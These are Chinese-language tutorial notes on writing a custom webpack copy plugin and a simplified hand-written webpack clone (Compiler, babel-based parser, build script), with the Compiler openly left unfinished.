copyWebpackPlugin2.js

const { promisify } = require("util");
const path = require("path");
const { validate } = require("schema-utils");
const fs = require("fs");
// 专门用来匹配文件列表
const globby = require("globby");

const readFiless = promisify(fs.readFile);
const schema = require("./schema.json");

// 快速创建一个基于webpack创建的文件类型
const webpack = require("webpack");
// RawSource 可以将读取文件的数据变成一个对象
const { RawSource } = webpack.sources;

// 将fs readFile 方法变成给予
// const readFile = util.promisify(fs.readFile);

class CopyWebpackPlugin2 {
  constructor(options = {}) {
    // 验证options 是否合格
    validate(schema, options, {
      name: "CopyWebpackPlugin2",
    });

    this.options = options;
  }
  apply(compiler) {
    // 初始化compilation
    compiler.hooks.thisCompilation.tap("CopyWebpackPlugin2", (compilation) => {
      // 添加资源的hooks
      compilation.hooks.additionalAssets.tapAsync(
        "CopyWebpackPlugin2",
        async (cb) => {
          // 将from 中的资源复制到to 然后输出
          // 读取from 资源,过滤掉ignore 生成webpack资源,然后输出
          const { from, ignore } = this.options;
          const to = this.options.to ? this.options.to : ".";

          // 上下文地址 context 就是webpack配置 默认值是process.cwd
          const context = compiler.options.context;
          // 判断是不是绝对路径
          const absoluteFrom = path.isAbsolute(from)
            ? from
            : path.resolve(context, from);

          // globby(要处理的文件夹, options)
          const paths = await globby(absoluteFrom);
          console.log(paths, "--->paths");
          console.log(fs.readdirSync(paths[0]), "--->fs");
          const pathss = fs.readdirSync(paths[0]);

          // 读取paths 中所有资源
          const files = await Promise.all(
            pathss.map(async (abpath, index) => {
              const relative = `${paths[0]}/${abpath}`;
              console.log(relative, "--->relative");
              const data = await fs.readFileSync(relative);
              // const filename = path.basename(abpath);
              // 和to 属性结合 没有to xx.js  有to to/xx.js
              const filename = path.join(to, abpath);

              return { data, filename };
            })
          );

          // // 生成webpack 格式
          const assets = files.map((file) => {
            const source = new RawSource(file.data);
            return {
              source,
              filename: file.filename,
            };
          });

          assets.forEach((item) => {
            compilation.emitAsset(item.filename, item.source);
          });

          cb();
        }
      );
    });
  }
}

module.exports = CopyWebpackPlugin2;

然后在配置文件中引入使用

const Plugin1 = require("./plugins/Plugin1");
const Plugin2 = require("./plugins/Plugin2");
const CopyWebpackPlugin2 = require("./plugins/CopyWebpackPlugin2");  
plugins: [
    new HtmlWbpackPlugin({
      template: "./src/index.html",
      title: "lalala",
    }),
    // new Plugin1(),
    new Plugin2(),
    new CopyWebpackPlugin2({
      from: "public",
      to: "css",
      ignore: ["**/index.html"],
    }),
  ],

手写webPack

  • webpack执行流程

    引入webpack 配置文件,通过configFactory 来传入一个当前环境是dev还是pro,然后得到相应参数的webpack配置,最后会调用build方法,在bulid 方法内部会调用webpack ,并且传入一个webpack配置对象。得到一个compiler 对象,然后调用他的run 方法。执行

    用webpack 初始化一个compiler对象。然后去运行编译,在webpack.config.js 的entry 中开始打包

    打包的时候就会对文件进行处理利用loader 进行递归处理,直到所有的依赖都处理好,生成一副依赖图,编译模版,生成一个打包出来的chunk,然后再把每一个chunk根据依赖关系整合到输出列表中,然后通过fs将文件列表输出

首先我们在src下面新建一个lib文件夹,里面放置我们的webpack文件

新建一个index.js

const fs = require("fs");

const Compiler = require("./Compiler");

function mywebpack(config) {
  return new Compiler(config);
}

module.exports = mywebpack;

然后新建Compiler.js。[这里查看完整代码](#### Compiler代码(TODO: 未写完)) // TODO: 这里代码是不完整的

const fs = require("fs");
const path = require("path");
// 引入paser 解析为抽象语法树
const babelParser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const { transformFromAst } = require("@babel/core");
const { getAst, getCode, getDepes } = require("./parser");

class Compiler {
  constructor(options = {}) {
    this.options = options;
  }

  // 启动webpack 打包
  run() {
    // 1. 读取入口文件内容
    const filePath = this.options.entry;
    // const file = fs.readFileSync(filePath, "utf-8");
    // // 第一步: 2. 将其解析成ast 抽象语法树
    // const ast = babelParser.parse(file, {
    //   sourceType: "module", // 解析文件的模块化方案是 ES Module
    // });

    // // 获取到文件文件夹路径
    // const dirname = path.dirname(filePath);

    // // debugger;
    // console.log(ast, "-->ast");
    // // 收集依赖,可以利用ast 中的progress 中的body 属性type: "ImportDeclaration"来判断
    // // 是不是属于文件引入,如果是,则找到他的source 中的value 拿到文件路径,这样比较麻烦
    // // 所以利用babel 中的traverse 来快速搜集依赖 @babel/traverse

    // // 定义存储依赖的容器
    // const deps = {};

    // // 第二步: 收集依赖
    // traverse(ast, {
    //   // 内部会遍历ast 中program.body, 判断里面语句类型
    //   // 如果type: ImportDeclaration 就会触发这个函数,并且参数为当前触发的那个语句
    //   ImportDeclaration(code) {
    //     // debugger;
    //     const { node } = code;
    //     // 文件的相对路径 '.add.js'
    //     const relativePath = node.source.value;
    //     // 根据入口文件生成基于入口文件的绝对路径
    //     const absolutePath = path.resolve(dirname, relativePath);
    //     // 添加依赖
    //     deps[relativePath] = absolutePath;
    //   },
    // });

    // console.log(deps);

    // // 第三步 编译代码: 将代码中浏览器中不能识别的代码进行编译 @babel/core
    // const { code } = transformFromAst(ast, null, {
    //   presets: ["@babel/preset-env"],
    // });

    // console.log(code, "--->code");

    // 1. 将文件解析为ast
    const ast = getAst(filePath);
    // 1. 获取ast 的依赖
    const deps = getDepes(ast, filePath);
    // 获取代码
    const code = getCode(ast);

    console.log(ast, deps, code, "--->");
  }
}

module.exports = Compiler;

新建一个parser.js, 将代码解析文件抽取出来

const fs = require("fs");
const path = require("path");
// 引入paser 解析为抽象语法树
const babelParser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const { transformFromAst } = require("@babel/core");

const parser = {
  // 将文件解析为ast
  getAst(filePath) {
    // 读取文件
    const file = fs.readFileSync(filePath, "utf-8");
    // 第一步: 2. 将其解析成ast 抽象语法树
    const ast = babelParser.parse(file, {
      sourceType: "module", // 解析文件的模块化方案是 ES Module
    });

    return ast;
  },

  // 获取依赖
  getDepes(ast, filePath) {
    // 获取到文件文件夹路径
    const dirname = path.dirname(filePath);

    // 定义存储依赖的容器
    const deps = {};

    // 第二步: 收集依赖
    traverse(ast, {
      // 内部会遍历ast 中program.body, 判断里面语句类型
      // 如果type: ImportDeclaration 就会触发这个函数,并且参数为当前触发的那个语句
      ImportDeclaration(code) {
        // debugger;
        const { node } = code;
        // 文件的相对路径 '.add.js'
        const relativePath = node.source.value;
        // 根据入口文件生成基于入口文件的绝对路径
        const absolutePath = path.resolve(dirname, relativePath);
        // 添加依赖
        deps[relativePath] = absolutePath;
      },
    });

    return deps;
  },

  // ast解析成code
  getCode(ast) {
    // 第三步 编译代码: 将代码中浏览器中不能识别的代码进行编译 @babel/core
    const { code } = transformFromAst(ast, null, {
      presets: ["@babel/preset-env"],
    });

    return code;
  },
};

module.exports = parser;

在新建一个script文件夹,里面写入build.js,这样使用我们自己写的webpack进行打包

const mywebpack = require("../lib/mywebpack");
const config = require("../config/webpack.config");

const compiler = mywebpack(config);

// 开始打包
compiler.run();

在package.json中添加build命令

{
  "name": "my_webpack",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "directories": {
    "lib": "lib"
  },
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "build": "node ./script/build.js",
    "debug": "node --inspect-brk ./script/build.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "@babel/parser": "^7.17.3"
  },
  "dependencies": {
    "@babel/traverse": "^7.17.3"
  }
}

Compiler代码(TODO: 未写完)

const fs = require("fs");
const path = require("path");
// 引入paser 解析为抽象语法树
const babelParser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const { transformFromAst } = require("@babel/core");
const { getAst, getCode, getDepes } = require("./parser");

class Compiler {
  constructor(options = {}) {
    // webpackConfig 的配置
    this.options = options;
    // 所有依赖容器
    this.modules = [];
  }

  // 启动webpack 打包
  run() {
    // 1. 读取入口文件内容
    const filePath = this.options.entry;
    // const file = fs.readFileSync(filePath, "utf-8");
    // // 第一步: 2. 将其解析成ast 抽象语法树
    // const ast = babelParser.parse(file, {
    //   sourceType: "module", // 解析文件的模块化方案是 ES Module
    // });

    // // 获取到文件文件夹路径
    // const dirname = path.dirname(filePath);

    // // debugger;
    // console.log(ast, "-->ast");
    // // 收集依赖,可以利用ast 中的progress 中的body 属性type: "ImportDeclaration"来判断
    // // 是不是属于文件引入,如果是,则找到他的source 中的value 拿到文件路径,这样比较麻烦
    // // 所以利用babel 中的traverse 来快速搜集依赖 @babel/traverse

    // // 定义存储依赖的容器
    // const deps = {};

    // // 第二步: 收集依赖
    // traverse(ast, {
    //   // 内部会遍历ast 中program.body, 判断里面语句类型
    //   // 如果type: ImportDeclaration 就会触发这个函数,并且参数为当前触发的那个语句
    //   ImportDeclaration(code) {
    //     // debugger;
    //     const { node } = code;
    //     // 文件的相对路径 '.add.js'
    //     const relativePath = node.source.value;
    //     // 根据入口文件生成基于入口文件的绝对路径
    //     const absolutePath = path.resolve(dirname, relativePath);
    //     // 添加依赖
    //     deps[relativePath] = absolutePath;
    //   },
    // });

    // console.log(deps);

    // // 第三步 编译代码: 将代码中浏览器中不能识别的代码进行编译 @babel/core
    // const { code } = transformFromAst(ast, null, {
    //   presets: ["@babel/preset-env"],
    // });

    // console.log(code, "--->code");

    // 第一次构建,得到入口文件信息
    const fileInfo = this.build(filePath);

    this.modules.push(fileInfo);

    // 递归搜集依赖 遍历所有的依赖
    this.modules.forEach((fileInfo) => {
      // {'x.xx': 'xxx.xxx'}
      // 取出当前文件所有依赖进行遍历
      const deps = fileInfo.deps;
      for (const relativePath in deps) {
        // 得到当前依赖文件的绝对路径
        const absolutePath = deps[relativePath];
        // 对依赖文件进行处理
        const fileInfo = this.build(absolutePath);
        // 将后面的依赖push
        this.modules.push(fileInfo);
      }
    });

    // console.log(this.modules, "-->所有依赖");

    // 将依赖整理成更好的依赖关系图

    // const arr = {
    //   "index.js": {
    //     code: "xxx",
    //     deps: {
    //       "add.js": "xxx",
    //     },
    //   },

    //   "add.js": {
    //     code: "xxx",
    //     deps: {},
    //   },
    // };

    const depsGraph = this.modules.reduce((graph, module) => {
      return {
        ...graph,
        [module.filePath]: {
          code: module.code,
          deps: module.deps,
        },
      };
    }, {});

    // 根据依赖关系图生成打包资源
    this.generate(depsGraph);
  }

  // 开始构建
  build(filePath) {
    // 1. 将文件解析为ast
    const ast = getAst(filePath);
    // 1. 获取ast 的依赖
    const deps = getDepes(ast, filePath);
    // 获取代码
    const code = getCode(ast);

    return {
      // 当前模块文件路径
      filePath,
      // 当前文件所有依赖
      deps,
      // 当前文件解析后的代码
      code,
    };
  }

  // 构建输出资源方法
  generate(depsGraph) {}
}

module.exports = Compiler;